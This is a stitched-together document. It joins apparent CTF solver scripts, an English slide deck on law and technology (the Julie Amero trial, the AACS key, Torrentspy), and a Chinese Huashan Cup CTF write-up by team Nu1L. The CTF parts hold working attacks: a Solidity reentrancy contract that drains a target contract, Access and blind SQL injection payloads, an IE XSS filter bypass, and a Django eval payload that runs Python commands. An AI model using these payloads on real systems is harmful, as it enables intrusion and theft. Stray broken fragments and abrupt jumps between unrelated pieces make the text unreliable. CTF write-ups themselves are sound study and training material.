'48617070795F'
>>> a.translate(t).decode('hex')
'Happy_'
>>>
U:
27:24=36:33
36:33=33:30
33:30=30:27
30:27=27:24
6:3=21:18
9:6=24:21
21:18=45:42
24:21=48:45
45:42=54:51
48:45=57:54
54:51=6:3
57:54=9:6
R:
15:12=24:21
24:21=21:18
21:18=18:15
18:15=15:12
9:6=69:66
12:9=72:69
69:66=42:39
72:69=45:42
42:39=30:27
45:42=33:30
30:27=9:6
33:30=12:9
F:
3:0=12:9
12:9=9:6
9:6=6:3
6:3=3:0
18:15=33:30
21:18=36:33
33:30=57:54
36:33=60:57
57:54=66:63
60:57=69:66
66:63=3:0
69:66=21:18
import solver as sv # https://github.com/hkociemba/Rubiks2x2x2-OptimalSolver
def get(var):
r = []
for i in range(24):
c = var & 7
r.append(c)
var >>= 3
colors = ['D','F','R','U','B','L']
return [colors[e] for e in r]
def adjust(a):
f,r,u,b,l,d = [a[4*i:4*(i+1)] for i in range(6)]
u = u[0] + u[1] + u[3] + u[2]
b = b[2] + b[3] + b[1] + b[0]
d = d[1] + d[2] + d[0] + d[3]
r = r[2] + r[3] + r[1] + r[0]
l = l[1] + l[2] + l[0] + l[3]
f = f[1] + f[2] + f[0] + f[3]
return ''.join([u,r,f,d,l,b])
return a
def get_cubestring(inp):
a = get(inp)
r = (adjust(''.join(a)))
return r
init = 0xB6D9246DB492249
U = 0x0a4db646db912291
R = 0x900b6d8dc64b492009
F = 0x09002d924b5b4da249
assert(get_cubestring(init) == 'UUUURRRRFFFFDDDDLLLLBBBB')
assert(get_cubestring(U) == 'UUUUBBRRRRFFDDDDFFLLLLBB')
assert(get_cubestring(R) == 'UFUFRRRRFDFDDBDBLLLLUBUB')
assert(get_cubestring(F) == 'UULLURURFFFFRRDDLDLDBBBB')
if __name__ == '__main__':
easyparser
OwnerMoney
ropsten, sender,
sender121. nonce,
:
cbs = 0x8e062d75c28130a415
cubestring = get_cubestring(cbs)
sol = sv.solve(cubestring)
print(sol)
def catflag():
dst = [144, 332, 28, 240, 132, 60, 24, 64, 64, 240, 208, 88, 44, 8,
52, 240, 276, 240, 128, 44, 40, 52, 8, 240, 144, 68, 48, 80, 92, 44, 264, 240]
r = ''
for each in dst:
for c in range(256):
if (c ^ 0x63) << (2 & 0x3f) == each:
r+=(chr(c))
break
print('flag{'+r+'}')
if __name__ == '__main__':
catflag()
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import rlp
import sha3
import IPython
from eth_utils import keccak, to_checksum_address, to_bytes
from ecdsa import SigningKey, SECP256k1
my_addr = to_checksum_address('0x9Fd6Bd7F75fB554A206dFa952cCa508d07e974C8')
def mk_contract_address(sender, nonce):
sender_bytes = to_bytes(hexstr=sender)
raw = rlp.encode([sender_bytes, nonce])
h = keccak(raw)
address_bytes = h[12:]
return to_checksum_address(address_bytes)
, :
def generate_addr():
keccak = sha3.keccak_256()
pk = SigningKey.generate(curve=SECP256k1)
public = pk.get_verifying_key().to_string()
keccak.update(public)
address = "0x{}".format(keccak.hexdigest()[24:])
return pk, address
while True:
pk, addr = generate_addr()
cont_addr = mk_contract_address(to_checksum_address(addr), 0)
if cont_addr.lower().endswith('fff'):
print(pk.to_string().hex(), addr)
pragma solidity ^0.4.26;
contract Attack {
address public target;
address public owner;
bool private twice;
bool private reentrant;
constructor () public {
target = address(0x40a590b70790930ceed4d148bf365eea9e8b35f4);
owner = msg.sender;
twice = false;
reentrant = false;
}
function reset() public {
require(owner == msg.sender);
twice = false;
reentrant = false;
}
function isOwner(address _addr) public returns (uint256) {
if(twice == false) {
twice = true;
return 0;
}
return 1;
}
function buy() public {
require(owner == msg.sender);
require(target.call.value(0x1)(bytes4(keccak256("buy()"))));
}
function claim() public {
require(owner == msg.sender);
target.call(bytes4(0x11f776bc));
}
function change() public {
require(owner == msg.sender);
target.call(bytes4(keccak256("change(address)")), abi.encode(target));
}
function attack() public {
require(owner == msg.sender);
target.call(bytes4(keccak256("sell(uint256)")), abi.encode(uint256(200)));
}
function transfer(address attacker) public {
require(owner == msg.sender);
target.call(bytes4(keccak256("transfer(address,uint256)")),
abi.encode(attacker), abi.encode(100));
}
function reverse_finance() public {
require(owner == msg.sender);
selfdestruct(target);
}
function payforflag(string b64email) public {
require(owner == msg.sender);
target.call(bytes4(keccak256("payforflag(string)")),
abi.encode(b64email));
}
function payme() public payable { }
function () public payable {
if(msg.sender == target) {
if(!reentrant) {
reentrant = true;
target.call(bytes4(keccak256("sell(uint256)")),
abi.encode(uint256(200)));
}
}
}
function kill() public {
require(owner == msg.sender);
selfdestruct(owner);
, sell(uint256)balance, selfdestruct
}
} | pdf |
John E. Benson, J.D.
Bridging the
Gap Between
Technology and
the Law
‣
Fundamental differences
‣
Perceptions and adoption
‣
Trial Issues
‣
Julie Amero
‣
Torrentspy
A Look Ahead
‣
jur1st
‣
Attorney
‣
Professor
‣
See me afterwards for more details
Introduction
Technology v.
The Law
‣
Becomes more advanced
‣
Changes day to day
‣
Thrives on growth and development
Technology
‣
Rare sweeping changes
‣
Slow to react
‣
Hates all that is new and different
The Law
‣
Through the Common Law system laws are
‣
Stable
‣
Predictable
‣
Methodical
Why Can’t the Law be
Different?
‣
Unpredictable viewpoint
‣
Cases have yet to reach appellate levels
‣
Cases haven’t been brought at all
Cause and Effect
Adoption and
Perception of
Technology
‣
Most attorneys don’t have a deep understanding
of technology
‣
Judges are even worse
‣
Attorneys come from diverse backgrounds
Who are We Talking
About?
‣
Most students used laptops
‣
Most use Windows XP
‣
Most use Internet Explorer
‣
Most don’t pay attention to sending their
passwords in the clear
Recent Graduates
‣
Attorneys love email and Blackberries
‣
All Federal Courts have electronic filing
‣
Attorneys have a strong obligation to keep
communications secret
Adoption
• CONFIDENTIALITY NOTICE: This e-mail
message including attachments, if any, is
intended for the person or entity to which
it is addressed and may contain confidential
and/or privileged material. Any
unauthorized review, use, disclosure or
distribution is prohibited. If you are not the
intended recipient, please contact the
sender by reply e-mail and destroy all
copies of the original message. Thank
you.
‣
Easy to use
‣
Easy to implement
‣
Especially for a small practice
Encryption
‣
Ok, John. Nice to know you have encrypted
your message to our little "Family"
‣
BTW: Like we need to worry that "Homeland
Security" will now be watching because you
posted to this little "House"?
Understanding
‣
Operate on the front lines
‣
Require excellent advocacy skills
‣
Working understanding of facts
Trial Attorneys
‣
Substitute teacher
‣
Risk of injury to a minor
‣
Exposure to pornography
The Amero Trial
‣
Willfully or unlawfully causes
‣
A child under 16
‣
To be placed in a situation where the morals of
that child are likely to be impaired
‣
Shall be punished
The Statute
‣
Willful means deliberately or intentionally
‣
Not a standard of negligence
‣
If she was negligent, she would not be
convicted
Elements
‣
“Were there any other images that had been
placed on your hard drive on the day before
that you saw at least in the file format?”
‣
"Did she log onto any programs?"
‣
“Specifically to what I am pointing at here,
my understanding is this http://
www.vaginalcumshots.com, specifically this
website, again, was accessed to that PC in
Mr. Napp’s classroom, correct?”
Prosecution
Highlights
‣
“Were any of the adware, spyware, parasite
and viruses updated on or before October
19th?”
‣
“I’m computer illiterate.”
Defense Highlights
‣
Before checking firewall logs checked after
the computer was accessed by IT
‣
Computer not taken out of service for a
week
Evidentiary Pitfalls
‣
Police investigator
‣
Q: "Did you examine the hard drive for
spyware, viruses or parasites?"
‣
A: No
Evidentiary Pitfalls
‣
District still runs Windows 95 and 98
‣
Antivirus protection only
‣
Filtering software wasn’t updated
Failings of the
District
‣
Q: “Does spyware and adware generate
pornography?”
‣
A: “I'm not aware that they do”
Failings of the
District
‣
Procedure
‣
Not to be taken lightly
‣
Prosecution not given the material prepared
by the defense expert
Why Was Some
Evidence
Excluded?
‣
Probably not
‣
Expert gave his conclusions
‣
Mentioned Adware & Spyware numerous
times in testimony
Did It Make A
Difference?
‣
Rude to the court
‣
Clearly angering the judge and prosecutor
Actions of the
Expert
‣
Everyone
‣
District
‣
The State
‣
The Defense Attorney
‣
The Expert
Who Do We Blame
‣
Misdirected
‣
Blind rage against the judicial system is
ineffective
‣
Work together
‣
Ensure this doesn’t happen again
Was the Response
Warranted?
Where is the Case
Now?
‣
Judge has ordered a new trial
‣
Anticipating more expert testimony to be offered
(and admitted)
‣
What will the new outcome be?
‣
HD-DVD Processing Key cracked weeks ago
‣
Finally appears on Digg
‣
Takedown notices sent
‣
Hilarity ensues
AACS v. The World
‣
Dissemination is a violation of the DMCA
‣
Takedown requests were valid
‣
Not a First Amendment issue
‣
Private companies may do as they choose
Cold Facts
‣
Landscape significantly different than it was
when DeCSS was released
‣
Copyright holders must find more effective
ways of rights protection
‣
User driven sites must be ready to respond
The Reality
Torrentspy
‣
Torrentspy hosts torrent files
‣
Doesn’t keep logs
‣
‣
The fundamental issues separating law and
technology aren’t going away
‣
Attorneys need to have a better relationship
with technology
‣
Need for stronger advocates to prevent poor
judicial decisions
Conclusion | pdf |
华山杯 writeup
队伍名：Nu1L
Web 题目：
Web1 怎么在 Web 上 Ping 呢
进去发现 flag.php，访问不到直接抓包访问，之后发现在 flag.php 中存
在提示 key：DDoS。。。研究一下午不懂，后来在 freebuf 找到一篇文章
http://www.freebuf.com/articles/network/74173.html
构造
html 访问，fiddler 抓包
Flag : cCFVY1Yjs5VQ9X2GCG4v6IdpkaKBEsbM
Web2 社工库查询
放西瓜大神好吗。。。。。。天真的以为真的是社工 QQ。
Burp 爆破到 10000，发现出来了提示：
Intavl，取整函数，尝试输入 10000.1 就可以得到 flag：
Web3access 注入。
一开始以为是 sqlmap 能爆破出来。。。然而太天真了。。一开始就是猜猜
猜没思路，突然发现 access 注入有一种偏移注入，然后就秒破。。真的好简单
- -怪不得大牛都秒了。
找到一篇文章，http://www.2cto.com/Article/201212/179284.html，然
后就猜字段数吧:
http://218.245.4.113:8888/web03/ca55022fa7ae5c29d179041883fe1556/ind
ex.asp?id=886 union select 1,2,3, 4,* from admin as a inner join
admin as b on a.id=b.id
Md5 解下：469e80d32c0559f8，发现时 admin888。直接提交通过
Flag：469e80d32c0559f8
Web4 有 WAF 该怎么注入呢
白天注入的时候各种绕不过去。。。后来想到 xd 比赛的那个函数 lpad 发
现可以执行。。。但是不知道暴啥。。。晚上的时候发现什么都没过滤。。。。
于是翻了翻以前 nsctf 的 writeup，找到了一个盲注语句。。。然后就是
brupsuite 爆破了。。想写本来以为 flag 没几位。。最后发现好长啊。。。。
(ord(substr((select(select(group_concat(table_name))from(information
_schema.tables)where(table_schema=database()))),1,1))>100)
先爆表名发现是 flag 表，之后爆字段。。发现是 flag。。。所以直接
(ord(substr((select(flag)from(flag)),i,1))>j)
………手动爆表 20 分钟
得到完全没有意义的字符串
所以 flag 第一位是 chr(106)
Flag:jkschvkjasmznxvkjahsdasdxzcqwe
Web5 XSS??? XSS!!!
第一节 xss 挑战赛的原题啊。。。http://drops.wooyun.org/papers/894
"onblur=outerHTML=URL//#<img/src=1 onerror=alert(1)>
尝试提交不行，找了个不可见字符，改成
"OnbLur=outerHTML=URL%0b#<img/src=1 onerror=alert(1)>
弹窗成功，win7+ie8
Web6 Python-Web：
题目很纠结，测试发现是 django 的 debug 模式。。。。
尝试在 rest 下用 obj 构建链接，然后就可以了，开始我们引入的 model 是
exec 后来发现不存在，于是尝试引入同样可以执行 os 命令的 eval，利用
http://www.freebuf.com/articles/web/73658.html 上的讲解去执行 python
命令，发现 os.system 竟然不能用，不能写入文件。。。于是 help 了 os
发现 listdir 同样可以列出目录，执行{"obj": "__builtin__", "method":
"eval", "params": "[__import__('os').listdir('.'),1]"}发现目录，然后
多次测试，os.stat 一个文件尝试找 username 没有，password 是一串
*******************，后来包含了多个文件。。。发现在 debug 的 setting 信
息中直接有 flag。
Flag ： 31e262014a402b9f7d2dc9970cf39ca5
网络取证
网络取证 1 流量分析 1
因为有的时候对于 ping 的检验很少，所以筛选出 icmp，查看 request 即
可发现每一个流量包有一个字符。
然后得到 flag：S$curIty_I_L0V3_H@cK
网络取证 2 扫雷
将下载下来的压缩包打开发现是个 dmp 文件，用 windbg 打开，通过 lm 和.writemem
指令将 winmine.exe dump 出来，通过与不同系统版本的扫雷比较发现与 xp 系统下的
扫雷比较相似，经过比较发现在文件偏移 4A70 处有一段异或解密的 shellcode，将这
段 shellcode 所用到的数据提取出来写个脚本即可得到 flag
脚本：
#! /usr/bin/env python
#coding=utf-8
import sys, time, os
key1 = 0x29b
key2 = 0x1e
key3 = 0x18
key4 = 0x259
l = [
0x4C, 0x05, 0x46, 0x05, 0x4B, 0x05, 0x4D, 0x05, 0x51, 0x05,
0x19, 0x05, 0x1D, 0x05, 0x4C, 0x05,
0x19, 0x05, 0x4B, 0x05, 0x4F, 0x05, 0x1A, 0x05, 0x48, 0x05,
0x1B, 0x05, 0x48, 0x05, 0x1F, 0x05,
0x1C, 0x05, 0x49, 0x05, 0x19, 0x05, 0x1F, 0x05, 0x12, 0x05,
0x1F, 0x05, 0x1C, 0x05, 0x1C, 0x05,
0x4C, 0x05, 0x49, 0x05, 0x1B, 0x05, 0x49, 0x05, 0x48, 0x05,
0x4E, 0x05, 0x1D, 0x05, 0x12, 0x05,
0x4C, 0x05, 0x4E, 0x05, 0x1C, 0x05, 0x1A, 0x05, 0x13, 0x05,
0x57, 0x05, 0x2A, 0x05, 0x2A, 0x05
]
#print hex(key1 ^ key2 ^ key3 ^ key4)
key = key1 + key2 + key3 + key4
i = 0
while i < 80:
l[i] ^= (key&0xFF)
l[i+1] ^= (key>>8)
i += 2
print ''.join(map(chr,l)[::2])
结果：
网络取证 3 流量分析 2
发现压缩包。然后将压缩包扣出来，发现需要密码。
然而这并不是密码。。。。。。。
然后发现 pass.txt，0rvWprrs0NOz9se9wLQ=，在线解密发现是乱
码。。。。。坑了好久，突然想起了小葵，然后试了下。果真= =
解密后发现一个少了 png 头的文件，补全后得到 flag 照片：
网络取证 4 Hack-Team
不想说什么了。。坑。。。。
挂载下镜像，然后提示梅花香自苦寒。。。。。默默想起强网杯，然后看
了下辉哥的 writeup——http://appleu0.sinaapp.com/?p=540，发现密码就是
meihuaxiangzikuhanlai。。。
分理出一个 pdf，一个 word。
然后试了好久都是说文件损坏，然而放到 mac 后。。。瞬间没爱了= =
Flag{f6fdffe48c908deb0f4c3bd36c032e72}
密码&算法
密码算法分析
100 分的题目这么坑。。坑的我都要哭了。。。昨晚上从凌晨 2 点 50 到 5
点，。白天一上午。。。直接废了。
原理不难，其实就是一个映射，只是映射很繁琐。首先解三次 base64 和一
次莫斯，在解出培根密码，得到秘钥 HTBXPZIQWVURJSDMOKYAENCLFG。之后统计
出密文字符出现次数，[('O', 26), ('B', 25), ('G', 24), ('C', 23), ('T',
22), ('L', 21), ('X', 20), ('Z', 19), ('R', 18), ('W', 17), ('Q', 16),
('Y', 15), ('A', 14), ('I', 13), ('F', 12), ('J', 11), ('E', 10),
('N', 9), ('D', 8), ('S', 7), ('M', 6), ('V', 5), ('U', 4), ('K', 3),
('P', 2), ('H', 1)]
，然后根据典型密文推出明文密文对应关系。。。
OBGCTLXZRWQYAIFJENDSMVUKPH 密文
ETAONRISHDLFCMUGYPWBVKJXQZ 明文
HTBXPZIQWVURJSDMOKYAENCLFG 秘钥
然后发现明文密文秘钥都是 26 个字母各出现一次。如下:
OBGCTLXZRWQYAIFJENDSMVUKPH 密文
ETAONRISHDLFCMUGYPWBVKJXQZ 明文
HTBXPZIQWVURJSDMOKYAENCLFG 秘钥
ABCDEFGHIJKLMNOPQRSTUVWXYZ 字母表
之后把明文按照 A->Z 的顺序排序，对应密文之后得到
OBGCTLXZRWQYAIFJENDSMVUKPH 密文
ABCDEFGHIJKLMNOPQRSTUVWXYZ 明文
GSAWOYJRXUVQITCNPLZBFMDKEH 密文排序
HTBXPZIQWVURJSDMOKYAENCLFG 秘钥
ABCDEFGHIJKLMNOPQRSTUVWXYZ 字母表
对应出如下规律：
GSAWOYJRXUVQITCNPLZBFMDKEH 密文排序
HTBXPZIQWVURJSDMOKYAENCLFG 秘钥
hex(秘钥字母-‘A’)%2=0，秘钥转密文是+1
hex(秘钥字母-‘A’)%2=1，秘钥转密文是-1
之后就得到了 26 个映射关系。。。同样的方式。一比一对应密文，得到
flag
LCHIKCDDQOYXEGGQ 密文
DONTWORRYBEHAPPY 明文
FPUKZEBWOSTVMGDHICQJNYLXRA 秘钥
ABCDEFGHIJKLMNOPQRSTUVWXYZ 字母表
所以 flag：DONTWORRYBEHAPPY
图片隐写 1
我第一个发现图片有问题的。。。为啥不给我加分
打开图片，发现在 jpg 后面有很多杂乱数据。。。提出来发现是一个去了
头的 rar。。。真是醉了。。。进去发现一大堆杂乱文件夹有东西还是加密
的。。。。只能看到一张图片。图片右键属性中有字符串。。base64 解密是乱
码想到那个流量分析的中文尝试中文解密得到密码四叶草安全。进去发现每个
文件都打不开，十六进制打开发现全是 01 序列。。。。想到了二维码，想到
appleU0 的那个图片隐写术，于是，按照文件夹顺序 000000,000001,000010 的
顺序提取。之后发现前面后面都是 0000000000000000000000000，然后发现一
行 37 个，一共 29 行，发现每行前四个后四个都是 0，删掉变成 29*29，去掉换
行变成空格，放入脚本跑出来二维码，扫描得到 flag
Flag：X1@07Zu1Shu@1
附脚本：
#!/usr/bin/env python
import Image
MAX = 29
pic = Image.new("RGB",(MAX, MAX))
str =
"11111110010111110100001111111100000100001100000000010000011011101001
000111100100101110110111010000111101100101011101101110101010111100100
010111011000001000111110111110100000111111110101010101010101111111000
000001001101100010000000000011001110010010101101101000001110100010010
010010101110011100111110010010011111010010101111010111011000101010100
000010010110010010010111110110100010100001010010100011110010101100011
110110010101101011101100111001101100110100000001000010100101111100011
000000100000101010001111100010100100110010111011100100110110110010000
001011000101111110101101011110111101111111001000111111010100000000100
010011111100010001111111101110011011011010111001000001000001111001110
001001110111010000110011000111110100101110101110000100101100111101011
101010101011000100110000110000010011001000110001101010111111100101100
11111001000110"
i=0
for y in range (0,MAX):
for x in range (0,MAX):
if(str[i] == '1'):
pic.putpixel([x,y],(0, 0, 0))
else:
pic.putpixel([x,y],(255,255,255))
i = i+1
pic.show()
pic.save("flag.png")
图片隐写 2
打开发现一张大白(●—●)，然后进去 binwalk 跑一下发现另一张图片，
手动抠出来发现另一个大白(●—●)，然后发现是 tiff 的。重命名后纠结一下
想到 tiff 隐藏图层，本地 photoshop 打开之。。。发现 26 个隐藏图层。。每
个图层有 26*26 个英文字母。。。想到大白激活口令。。。统计一下，65 个逗
号 66 个数字。。。
据此推测是三个一组，所以 flag 应该是 22 组，之后就是组合问题了。。。
下午的时候尝试了几个没找到方法。。。晚上继续做。。。尝试所有之后找到
了 flag，每三个一组，第一组 19*9*10 代表 10 层第 19 列 9 行。。完全是倒序。
慢慢找，找到了
flag：FlAgIsSlYeCaOWeLCoMYOu
魔塔 AI 编写
这是道算法题...
刚开始理解错了，以为一次只能发一条指令呢...
根据题目所给文件的描述，服务器端提供了一个吃东西升级打怪的游戏（￣工
￣lll），最终的目标是到达标有”Y”的点，于是就可以根据题目提供的地图
不断上楼吃东西，然后回到 1 层打 boss...
脚本核心部分使用了 BFS 算法。
脚本：
import socket, sys, os, time, struct
__author__ = 'Marche147'
# connect to
TARGET = '127.0.0.1'
PORT = 22031
BUFSIZE = 99999
def logtofile(buf):
global log
log.write(buf)
log.write('\n----------------------------------------------------
------\n')
return
class Character:
def __init__(self, type, hp = 0, atk = 0, de = 0):
if type == 'a':
self.HP = 1000
self.ATK = 80
self.DEF = 60
elif type == 'b':
self.HP = 100
self.ATK = 200
self.DEF = 100
elif type == 'c':
self.HP = 1000
self.ATK = 300
self.DEF = 150
elif type == 'd':
self.HP = 3000
self.ATK = 300
self.DEF = 250
else:
self.HP = hp
self.ATK = atk
self.DEF = de
return
def battle(self, player):
if player.ATK <= self.DEF:
return 0
if self.ATK <= player.DEF and self.DEF <= player.ATK:
return 1
turn = 0
while player.HP > 0 or self.HP > 0:
if not turn:
self.HP -= (player.ATK - self.DEF)
else:
player.HP -= (self.ATK - player.DEF)
if turn == 0:
turn = 1
else:
turn = 0
if player.HP < 0:
return 0
return 1
class GameHelper:
def __init__(self):
self.LV = 0
self.PLAYER = Character('P',1000,10,10)
self.MAP = []
self.VISIT = []
self.THINGS = []
self.CUR_POS = (1,1)
self.MAXX = 0
self.MAXY = 0
return
def getmap(self):
global s
self.MAP = []
self.VISIT = []
self.THINGS = []
buf = s.recv(BUFSIZE)
print buf
lines = buf.split('\n')
i = y = 0
for line in lines:
if not line: # skip
continue
self.MAP.append([])
self.VISIT.append([])
y = 0
for c in line:
if c == '|':
self.MAXY = y + 1
break
if c != '.' and c!= '#':
self.THINGS.append({'thing':c,'pos':(i,y)})
if c == 'X':
self.CUR_POS = (i,y)
self.MAP[i].append(c)
self.VISIT[i].append(0)
y += 1
i += 1
self.MAXX = i
print (self.MAXX,self.MAXY), self.CUR_POS
# get status
self.PLAYER.ATK = int(lines[6][31:37])
self.PLAYER.DEF = int(lines[8][31:37])
self.PLAYER.HP = int(lines[10][30:37])
print self.PLAYER.ATK, self.PLAYER.DEF, self.PLAYER.HP
return
def get_things(self):
print self.THINGS
return self.THINGS
def try_return(self):
global s
pos = self.CUR_POS
dirs = [(1,0),(-1,0),(0,1),(0,-1)]
sendbuf = ['j','k','l','h']
sendbuf2 = ['k','j','h','l']
for i in range(4):
new_x = pos[0] + dirs[i][0]
new_y = pos[1] + dirs[i][1]
if self.MAP[new_x][new_y] != '#' and new_x > 0 and
new_y > 0 and new_x < self.MAXX and new_y < self.MAXY:
s.send(sendbuf[i])
logtofile(s.recv(BUFSIZE))
s.send(sendbuf2[i])
self.getmap()
return 1
return 0
def gotopos(self, pos):
q = []
q.append({'pos':self.CUR_POS, 'prev':0})
for i in range(len(self.VISIT)):
for j in range(len(self.VISIT[i])):
self.VISIT[i][j] = 0
self.VISIT[self.CUR_POS[0]][self.CUR_POS[1]] = 1
dirs = [(1,0),(-1,0),(0,1),(0,-1)]
while q:
first = q.pop(0)
for dir in dirs:
new_x = first['pos'][0] + dir[0]
new_y = first['pos'][1] + dir[1]
if self.MAP[new_x][new_y] != '#' and new_x > 0 and
new_y > 0 and new_x < self.MAXX and new_y < self.MAXY and not
self.VISIT[new_x][new_y]:
if new_x == pos[0] and new_y == pos[1]:
# trace back and send
cmdstr = ''
dx = new_x - first['pos'][0]
dy = new_y - first['pos'][1]
if dx == -1 and dy == 0:
cmdstr = 'k' + cmdstr
elif dx == 0 and dy == -1:
cmdstr = 'h' + cmdstr
elif dx == 1 and dy == 0:
cmdstr = 'j' + cmdstr
elif dx == 0 and dy == 1:
cmdstr = 'l' + cmdstr
while isinstance(first['prev'],dict):
dx = first['pos'][0] -
first['prev']['pos'][0]
dy = first['pos'][1] -
first['prev']['pos'][1]
if dx == -1 and dy == 0:
cmdstr = 'k' + cmdstr
elif dx == 0 and dy == -1:
cmdstr = 'h' + cmdstr
elif dx == 1 and dy == 0:
cmdstr = 'j' + cmdstr
elif dx == 0 and dy == 1:
cmdstr = 'l' + cmdstr
first = first['prev']
print cmdstr
self.docmd(cmdstr)
return 1
if self.MAP[new_x][new_y] == '/' or
self.MAP[new_x][new_y] == '\\': # stairs
continue
q.append({'pos':(new_x,new_y),'prev':first})
self.VISIT[new_x][new_y] = 1
print 'No way we can reach there!'
return 0
def docmd(self, cmdstring):
global s
'''
for i in range(len(cmdstring)):
s.send(cmdstring[i])
if i == len(cmdstring) - 1:
self.getmap()
else:
logtofile(s.recv(BUFSIZE)) # no need to get this
'''
s.send(cmdstring)
self.getmap()
return
def go_down(self):
global s
s.send('j')
self.getmap()
def go_up(self):
global s
s.send('k')
self.getmap()
def go_right(self):
global s
s.send('l')
self.getmap()
def go_left(self):
global s
s.send('h')
self.getmap()
log = open('log.txt','w')
game = GameHelper()
s =
socket.socket(socket.AF_INET,socket.SOCK_STREAM,socket.IPPROTO_TCP)
s.connect((TARGET,PORT))
game.getmap()
notgot = 0
movedon = 0
canwin = 0
movedup = 0
while(1):
moved = 0
things = game.get_things()
A = D = P = []
Goal = Downstair = Upstair = (0,0)
if game.PLAYER.HP >= 10000:
print 'NOW YOU CAN BEAT THE GAME!'
canwin = 1
for c in things:
if c['thing'] == 'A':
A.append(c['pos'])
elif c['thing'] == 'D':
D.append(c['pos'])
elif c['thing'] == 'P':
P.append(c['pos'])
elif c['thing'] == '/':
Upstair = c['pos']
elif c['thing'] == '\\':
Downstair = c['pos']
elif c['thing'] == 'Y':
Goal = c['pos']
if canwin and Goal != (0,0):
game.gotopos(Goal)
print s.recv(BUFSIZE)
if len(A) and not moved:
#if raw_input('go downstair to search for A or D?(y/n)') ==
'y':
# if game.try_return():
# moved = 1
if game.gotopos(A[0]) and not moved:
moved = 1
else:
notgot = 1
elif len(D) and not moved:
#if raw_input('go downstair to search for A or D?(y/n)') ==
'y':
# if game.try_return():
# moved = 1
if game.gotopos(D[0]) and not moved:
moved = 1
else:
notgot = 1
elif len(P) and not moved:
#if raw_input('go downstair to search for A or D?(y/n)') ==
'y':
# if game.try_return():
# moved = 1
if game.gotopos(P[0]) and not moved:
moved = 1
else:
notgot = 1
#elif len(A)+len(D)+len(P) == 0 and not moved:
# if game.gotopos(Upstair):
# moved = 1
print Downstair, Upstair
if not moved:
if (notgot and movedon) or canwin: #or (raw_input('go
downstair?(y/n)') == 'y' and Downstair != (0,0)):
notgot = movedon = 0
if Downstair == (0,0):
game.try_return()
else:
if game.gotopos(Downstair) == 0:
game.gotopos(Upstair)
elif len(A)+len(D)+len(P) == 0 or notgot or movedup:# and
raw_input('go upstairs?(y/n)') == 'y':
movedup = 0
if notgot:
movedon = 1
if Upstair == (0,0):
game.try_return()
else:
if game.gotopos(Upstair) == 0:
game.gotopos(Downstair)
elif raw_input('goto specified pos?(y/n)') == 'y':
x,y = map(int,raw_input('input pos x,y:').split(','))
game.gotopos((x,y))
else:
b = raw_input('chose a position (wsad)')
if b == 'w':
game.go_up();
elif b == 's':
game.go_down();
elif b == 'a':
game.go_left();
elif b == 'd':
game.go_right()
s.close()
最终结果：
逆向破解
逆向破解 1
Ida 中从定位到那几个 base64 加密的字符串后，看到下面有个 cmp 函数，于是
在 0x401735 下断点，内存中出现如下字符串
0040172B . 68 DC304000 push mfcEncry.004030DC ;
ASCII "HOWMP 半块西瓜皮 hehe"
输入得到结果，如下图
Flag：06d2ba96e3d4c203b29def25f2710d42
逆向破解 3
大概是推箱子游戏的变种，挺好玩的，玩了 10 分钟过去了
规则，把 8 个箱子推至各个出口（边界上的 0）即胜利。
推一个箱子只能推出去或者推到非 0 的地方，每一步的走法如下
1,
1,
0,
1,
1,
1,
0,
1,
1
1,
0,
0,
0,
0,
0,
0,
0,
1
1,
0,
0,
0,
0,
12,
22,
0,
1
1,
32,
0,
0,
0,
42,
0,
0,
1
0,
0,
0,
0,
0,
0,
0,
0,
0
1,
0,
0,
52,
0,
0,
0,
0,
1
0,
0,
0,
0,
0,
0,
62,
0,
0
1,
72,
0,
0,
82,
0,
0,
0,
1
1,
1,
0,
1,
1,
1,
1,
0,
1
8184
1,
1,
0,
1,
1,
1,
0,
1,
1
1,
0,
0,
0,
0,
0,
0,
0,
1
1,
0,
0,
0,
0,
12,
22,
0,
1
1,
32,
0,
0,
0,
42,
0,
0,
1
0,
0,
0,
0,
0,
0,
0,
0,
0
1,
0,
0,
52,
0,
0,
0,
0,
1
0,
0,
0,
0,
0,
0,
62,
0,
0
1,
72,
0,
0,
0,
0,
0,
0,
1
1,
1,
1,
1,
1,
1,
1,
0,
1
6462
1,
1,
0,
1,
1,
1,
0,
1,
1
1,
0,
0,
0,
0,
0,
0,
0,
1
1,
0,
0,
0,
0,
12,
22,
0,
1
1,
32,
0,
0,
0,
42,
0,
0,
1
0,
0,
0,
0,
0,
0,
0,
0,
0
1,
0,
0,
52,
0,
0,
0,
0,
1
0,
0,
0,
0,
0,
0,
0,
0,
0
1,
72,
0,
0,
0,
0,
0,
62,
1
1,
1,
1,
1,
1,
1,
1,
0,
1
4143
1,
1,
1,
1,
1,
1,
0,
1,
1
1,
0,
0,
0,
0,
0,
0,
0,
1
1,
0,
0,
0,
0,
12,
22,
0,
1
1,
32,
0,
0,
0,
0,
0,
0,
1
0,
0,
0,
0,
0,
0,
0,
0,
0
1,
0,
0,
52,
0,
0,
0,
0,
1
0,
0,
0,
0,
0,
0,
0,
0,
0
1,
72,
0,
0,
0,
0,
0,
62,
1
1,
1,
1,
1,
1,
1,
1,
0,
1
23
1,
1,
1,
1,
1,
1,
1,
1,
1
1,
0,
0,
0,
0,
0,
0,
0,
1
1,
0,
0,
0,
0,
12,
0,
0,
1
1,
32,
0,
0,
0,
0,
0,
0,
1
0,
0,
0,
0,
0,
0,
0,
0,
0
1,
0,
0,
52,
0,
0,
0,
0,
1
0,
0,
0,
0,
0,
0,
0,
0,
0
1,
72,
0,
0,
0,
0,
0,
62,
1
1,
1,
1,
1,
1,
1,
1,
0,
1
513473
1,
1,
1,
1,
1,
1,
1,
1,
1
1,
0,
0,
0,
0,
0,
0,
0,
1
1,
0,
0,
0,
0,
12,
0,
0,
1
1,
0,
0,
0,
0,
0,
0,
0,
1
0,
32,
0,
0,
0,
0,
0,
0,
0
1,
52,
0,
0,
0,
0,
0,
0,
1
0,
72,
0,
0,
0,
0,
0,
0,
0
1,
0,
0,
0,
0,
0,
0,
62,
1
1,
1,
1,
1,
1,
1,
1,
0,
1
3171
1,
1,
1,
1,
1,
1,
1,
1,
1
1,
0,
0,
0,
0,
0,
0,
0,
1
1,
0,
0,
0,
0,
12,
0,
0,
1
1,
0,
0,
0,
0,
0,
0,
0,
1
1,
0,
0,
0,
0,
0,
0,
0,
0
1,
52,
0,
0,
0,
0,
0,
0,
1
1,
0,
0,
0,
0,
0,
0,
0,
0
1,
0,
0,
0,
0,
0,
0,
62,
1
1,
1,
1,
1,
1,
1,
1,
0,
1
1252
1,
1,
1,
